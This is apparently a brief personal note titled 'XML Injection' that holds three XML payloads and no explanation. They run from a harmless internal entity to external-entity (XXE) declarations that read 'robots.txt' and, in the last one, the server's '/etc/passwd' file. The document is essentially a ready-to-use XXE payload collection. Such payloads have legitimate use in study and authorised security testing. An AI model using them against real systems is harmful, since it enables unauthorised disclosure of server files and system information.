/other/

#note - XML Injection

2016-11-25 00:26:48

<?xml version=&quot;1.0&quot;?>
<!DOCTYPE change-log[
        <!ENTITY myName &quot;Michal&quot;>

<!--ENTITY mySurname &quot;Szalkowski&quot;-->
]&gt;

<change-log>
<text>&amp;myName; &amp;mySurname;</text>
</change-log>

<?xml version=&quot;1.0&quot;?>
<!DOCTYPE change-log [<!ENTITY systemEntity SYSTEM &quot;robots.txt&quot;>
]&gt;

<change-log>
<text>&amp;systemEntity;</text>;
</change-log>

<?xml version=&quot;1.0&quot;?>
<!DOCTYPE change-log [<!ENTITY systemEntity SYSTEM &quot;/etc/passwd&quot;>
]&gt;

<change-log>
<text>&amp;systemEntity;</text>;
</change-log>